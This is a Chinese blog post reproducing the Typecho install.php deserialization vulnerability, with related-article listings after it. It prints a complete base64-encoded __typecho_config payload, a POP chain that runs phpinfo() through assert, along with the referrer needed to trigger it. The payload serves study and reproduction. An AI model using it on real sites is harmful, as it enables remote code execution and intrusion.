Typecho 漏洞复现

最新推荐文章于 2026-06-24 11:18:01 发布
原创 最新推荐文章于 2026-06-24 11:18:01 发布 · 2.3k 阅读 · 2
本文详细介绍了Typecho的一个漏洞复现过程，包括0x01部分的漏洞展示，通过payload触发问题。接着在0x02部分深入分析了install.php中的漏洞，揭示了利用PHP弱类型特性和类的反序列化进行攻击的条件和方法，特别是在Db.php、Feed.php和Request.php中的关键代码。文章和视频提供了更深入的学习资源。

0x01漏洞复现

找到有漏洞的版本下载，安装成功后显示如下

这里写图片描述

payload：

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjQ6IlRlc3QiOjA6e319czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6OToicGhwaW5mbygpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==

referrer：

http://安装路径/install.php
最低0.47元/天 解锁文章
反序列化typecho2靶场漏洞-代码审计全过程（超详细）
qq_59020256的博客
01-28 1754
php· }
CVE-2018-18753 Typecho反序列化漏洞深度剖析与复现
weixin_29325515的博客
06-20 269
PHP反序列化漏洞是Web安全领域中的一种高危漏洞类型，其核心原理在于攻击者通过控制输入数据，利用PHP的`unserialize()`函数还原恶意构造的对象。当这些对象包含特定的魔术方法（Magic Methods），如`__destruct()`或`__wakeup()`时，程序会自动执行这些方法中的代码逻辑。攻击者通过精心设计对象属性，将多个类的魔术方法串联起来，形成一条POP链（Property-Oriented Programming chain），从而将无害的对象属性访问，逐步导向危险函数（如`
性能和SEO兼具的Typecho主题模板推荐
最新发布
qq_69168284的博客
06-24 232
摘要：Typecho凭借轻量化优势成为高效CMS选择。本文推荐三款优秀主题：1）Mirai未来主题，专注SEO优化与商业变现，支持结构化数据与付费阅读；2）Handsome全能主题，集成多种内容展示模块，适合知识库与自媒体；3）开源Joe主题，提供基础SEO功能，适合预算有限用户。三款主题各具特色，满足不同建站需求，展现Typecho在轻量化基础上实现功能扩展的潜力。（149字）
国税局发票查验中英文验证码识别最新版，识别率99.9%
热门推荐
Keras深度学习
05-13 83万+
采用深度学习进行发票查验验证码模型的训练，在我电脑上模型训练的环境如下： 显卡：RTX 2080TI tensorflow-gpu:2.5.3 1 训练集和测试集的准备 发票查验的验证码分为4种类型，分别为黑色、红色、黄色、蓝色，经过我的测试，采用4个模型的效果最好，每个模型对应识别一种类型的验证码。 首先我们4种类型的验证码都准备10万张。 00黑色类型的验证码： 01红色类型的验证码： 02黄色类型的验证码： 03蓝色类型的验证码： 验证码图像图像准备好后，对其进行标记，也就是对验证码重命名：
新手必看：Typecho反序列化漏洞实战解析与避坑指南
river的博客
03-03 583
本文深度解析了Typecho反序列化漏洞的实战利用与防御。文章从序列化原理讲起，详细拆解了漏洞触发路径、利用链构造方法，并提供了基于Docker的靶场搭建指南和Payload生成技巧。重点剖析了如何绕过Referer校验等实战难点，最后给出了避免反序列化漏洞的根本性安全加固策略。
漏洞分析之Typecho二连爆
hl1293348082的专栏
04-04 2196
这段时间 Typecho 在十几天之内连续爆了两个最高可 getshell 的洞，先是 SSRF 可打内网，再是反序列化直接前台 getshell ……安全性这方面堪忧…… 跟着师傅们的文章，简单地分析一下这两次漏洞，第二个反序列化的洞的溯源思路值得学习一波~ 虽然很多大号都分析过这个漏洞，写的也很详细，我作为一个初学者自己分析学习一下也是很有必要的，官方人员已经对这些漏洞进行的及时的修补并且推出了最新的版本，如果有用到这个博客的同学赶紧升级。 Typecho 1.0 (14.10.10) —— SS
Typecho框架漏洞
weixin_62693307的博客
11-19 868
这里说的漏洞是xss漏洞，学过渗透的应该都学过，我在这里就不过多阐述了，下面我们直接进入正题。然后再次访问时即可弹出一个框，这里学过xss漏洞的应该知道是什么意思了。这里说的框架漏洞只适用于1.2.0版本及以下的版本。然后等管理员访问评论是会使得js文件也给运行起来。然后这里就像上面反弹xss代码一样书写网址。生成的一句话目录路径可以自己改，上面的如下。在404.php中，这样路径的问题就解决了。这样我们就可以用蚁剑或其他工具连接后台了。
typecho反序列化漏洞复现
weixin_44005410的博客
05-21 2125
0x01前言 再杭州西湖线下打AWD的时候web1就是这个漏洞，在这里复现一下，刚好巩固一下前几天学习的反序列化漏洞。 0x02漏洞分析 这是一个由unserialize()导致的一个反序列化漏洞，全局搜索unserialize(),在install.php的232行发现 <?php $config = unserialize(base64_decode(Typecho_Cookie::...
漏洞复现篇——Typecho反序列化漏洞
爱国小白帽
03-03 5575
实验环境： PHPstudy 火狐浏览器 Typecho 填好数据库密码和你的登录密码就可以了 安装时会报错，因为无法自动创建数据库，需要使用CREATE DATABASE typecho default charset utf8;语句手动创建数据库 ...
typecho 反序列化漏洞复现
SUPER131110的博客
10-17 159
typecho 反序列化漏洞复现。
typecho靶场反序列化漏洞复现
qq_59023242的博客
12-20 1054
而最终我们想要传入的值应该是字符串而不是数组，所以在经过判断之后就应该使用函数call_user_func。方法 ==》 函数call_user_func ==》还需设置**$filter** ==》使用数组。referer头中的host不能为空，且请求头中的HOST要与referer头中的host一致。referer头中的host不能为空，且请求头中的HOST要与referer头中的host一致。参数可以控制的话，那么它的值就应该为，我们想要的参数。但是需要满足以下条件才能执行到。
typecho存储型xss漏洞复现
m0_73299839的博客
07-26 1007
之前搭博客的时候使用的是typecho，然后有看到文章说typecho
CVE-2018-18753 Typecho 漏洞复现分析
OceanSJ的博客
02-17 888
找到unserialize()函数；验证_typecho_config参数可控；追踪对象$db发现了Magic方法并跟踪至敏感函数call_user_func()
Typecho反序列化导致前台 getshell 漏洞复现
weixin_30483697的博客
10-31 492
Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述： Typecho是一款快速建博客的程序，外观简洁，应用广泛。这次的漏洞通过install.php安装程序页面的反序列化函数，造成了命令执行。 影响范围：理论上这个漏洞影响Typecho 1.1(15.5.12)之前的版本 首先我还是记录一下敏感目录 http://127.0.0.1/typecho0....
typecho反序列化漏洞原理及复现过程
wsnbbz的博客
03-04 1811
漏洞介绍 Typecho是一个简单，轻巧的博客程序。基于PHP，使用多种数据库（Mysql，PostgreSQL，SQLite）储存数据。在GPL Version 2许可证下发行，是一个开源的程序，目前使用SVN来做版本管理 漏洞形成 由于源码的以下几行存在反序列化漏洞与逻辑绕过，形成漏洞 漏洞利用 思路： 由于install.php代码验证了finish参数，请求头HTTP_HOST，po...
[漏洞复现]typecho_v1.0.14反序列化漏洞
Vicl1fe的博客
12-25 1367
环境 typecho_v1.0.14：链接：https://pan.baidu.com/s/1NAj25GoixIdnjrHCZC7iTg 提取码：3l16 phpstudy8.0 php5.2.17 环境配置 网站配置好后，直接访问。就是安装界面。 漏洞分析 推荐使用phpstorm，比较方便 打开install.php。发现有unserialize函数，发现参数是base64解码...
基于Matlab的轨迹分析行为识别
DevProPlus的博客
08-09 863
本文将介绍基于Matlab的轨迹分析行为识别方法，并提供相应的源代码。在轨迹特征提取完成后，我们需要通过对于某一时间窗口内的轨迹特征进行聚合和分析，得到相应的行为特征。轨迹分析作为一种简单有效的行为识别方法，在实际应用中得到了广泛的应用。本文介绍了一种基于Matlab的轨迹分析行为识别方法，并提供相应的源代码作为参考。轨迹分析是指对于一定时间内某个对象在空间中运动的路径进行跟踪和分析的方法。在行为识别中，我们可以通过对于轨迹进行特征提取和分析，进而得到该对象的运动模式和行为特征。二、轨迹分析行为识别流程。
基于Spring Boot+Vue+ElementUI的人力资源管理系统源码+项目说明+数据库+文档.zip
基于Spring Boot+Vue+ElementUI的人力资源管理系统源码+项目说明+数据库+文档.zip高分通过项目，已获老师指导。本项目是一套基于SpringBoot的人力资源管理系统，主要针对计算机相关专业的正在做毕设的学生和需要项目实战练习的Java学习者。也可作为课程设计、期末大作业基于Spring Boot+Vue+ElementUI的人力资源管理系统源码+项目说明+数据库+文档.zip高分通过项目，已获老师指导。本项目是一套基于SpringBoot的人力资源管理系统，主要针对计算机相关专业的正在做毕设的学生和需要项目实战练习的Java学习者。也可作为课程设计、期末大作业基于Spring Boot+Vue+ElementUI的人力资源管理系统源码+项目说明+数据库+文档.zip高分通过项目，已获老师指导。本项目是一套基于SpringBoot的人力资源管理系统，主要针对计算机相关专业的正在做毕设的学生和需要项目实战练习的Java学习者。也可作为课程设计、期末大作业
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值